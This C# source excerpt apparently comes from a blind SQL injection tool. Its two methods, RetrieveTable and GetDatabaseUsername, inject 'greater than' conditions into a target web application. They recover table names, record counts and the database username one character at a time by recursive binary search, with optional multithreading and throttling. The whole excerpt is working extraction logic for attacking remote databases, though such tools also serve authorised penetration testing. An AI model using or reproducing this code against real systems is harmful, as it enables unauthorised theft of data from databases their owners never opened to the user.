private GlobalDS.Table RetrieveTable(long TableID)
		{
			GlobalDS.Table RetVal = new GlobalDS.Table();
			StringBuilder NameBuilder = new StringBuilder();

			StringBuilder CurrentVector = new StringBuilder();
			CurrentVector.Append(_VectorBuffer);
			CurrentVector.Append(_PluginData.AndGreaterThanWrapper(_PluginData.TableNameLength(TableID)));

			long Size = RecursiveSearch(1,0,CurrentVector.ToString());

			lock(this)
			{

				UnsafeCharArray = new char[Size];
				CharsLeft = Size;
				Thread.Sleep(1000); 
				WaitCallback myCallback = new WaitCallback (ThreadedRecursiveCharacterSearch); 	

				for (long AscCounter = 1; AscCounter <= Size; AscCounter++)
				{
					CurrentVector = new StringBuilder();
					CurrentVector.Append(_VectorBuffer);
					CurrentVector.Append(_PluginData.AndGreaterThanWrapper(_PluginData.TableNameCharacterValue(AscCounter, TableID)));
					if (_Options.Throttle >= 0)
					{
						Thread.Sleep(1000); 
						NameBuilder.Append(Convert.ToChar(RecursiveSearch(1, UNICODE_LIMIT, CurrentVector.ToString())));
					}
					else
					{
						ThreadedText ttx = new ThreadedText((int)AscCounter - 1, CurrentVector.ToString());
						ThreadPool.QueueUserWorkItem (myCallback, ttx); 
					}
				}	


				CurrentVector = new StringBuilder();
				CurrentVector.Append(_VectorBuffer);
				CurrentVector.Append(_PluginData.AndGreaterThanWrapper(_PluginData.NumberOfRecords(NameBuilder.ToString())));

				long TableRecordCount = RecursiveSearch(1,0, CurrentVector.ToString());


				RetVal.ObjectID = TableID;
				RetVal.RecordCount = TableRecordCount;

				//			RetrievePrimaryKey(TableID);
				string TableName;

				if (_Options.Throttle >= 0)
				{
					TableName = NameBuilder.ToString();
				}
				else
				{
					while(CharsLeft > 0) 
					{
						Thread.Sleep(1000); 
					}
					TableName = new String(UnsafeCharArray);
				}

				RetVal.Name = TableName;

			}

			return RetVal;
		}
		///<summary>Queries the remote database for the username making the connections.</summary>
		///<returns>The current database user the web application is connecting as.</returns>
		public string GetDatabaseUsername()
		{
			StringBuilder CurrentVector = new StringBuilder();
			string retVal = null;

			UserStatus("Plugged in with: " + _PluginData.PluginDisplayTargetName);
			UserStatus("I know the buffer is supposed to be [" + _VectorBuffer + "]");

			CurrentVector.Append(_VectorBuffer);
			UserStatus(_PluginData.SelectDatabaseUsernameLength());
			CurrentVector.Append(_PluginData.AndGreaterThanWrapper(_PluginData.SelectDatabaseUsernameLength()));


			// TODO: Catch bunk page exception
			long Size = RecursiveSearch(1,0,CurrentVector.ToString());

			UserStatus(String.Format("Decided the username size was: {0}", Size));

			lock(this)
			{
				StringBuilder uname = new StringBuilder();
				UnsafeCharArray = new char[(int) Size];
				CharsLeft = Size;
				WaitCallback myCallback = new WaitCallback (ThreadedRecursiveCharacterSearch); 	

				for (long AscCounter = 1; AscCounter <= Size; AscCounter++)
				{
					CurrentVector = new StringBuilder();
					CurrentVector.Append(_VectorBuffer);
					CurrentVector.Append(_PluginData.AndGreaterThanWrapper(_PluginData.SelectCharacterFromDatabaseUsername(AscCounter)));

					if (_Options.Throttle >= 0)
					{
						long CharVal = RecursiveSearch(1, UNICODE_LIMIT, CurrentVector.ToString());

						uname.Append(Convert.ToChar(CharVal));
						UserStatus(System.String.Format("Currently, the username is: {0}", uname.ToString()));
					}
					else
					{
						UserStatus("Threaded!");
						ThreadedText ttx = new ThreadedText((int)AscCounter - 1, CurrentVector.ToString());
						ThreadPool.QueueUserWorkItem (myCallback, ttx); 
					}
				}	

				if (_Options.Throttle >= 0)
				{
					return uname.ToString();
				}
				else
				{ 
					while(CharsLeft > 0) 
					{
						UserStatus(String.Format("3Oh no! {0} Chars Left in {1}", CharsLeft, new String(UnsafeCharArray)));
						Thread.Sleep(10); 
					}
				}
			
				retVal = new String(UnsafeCharArray);
			}
			return retVal;
		}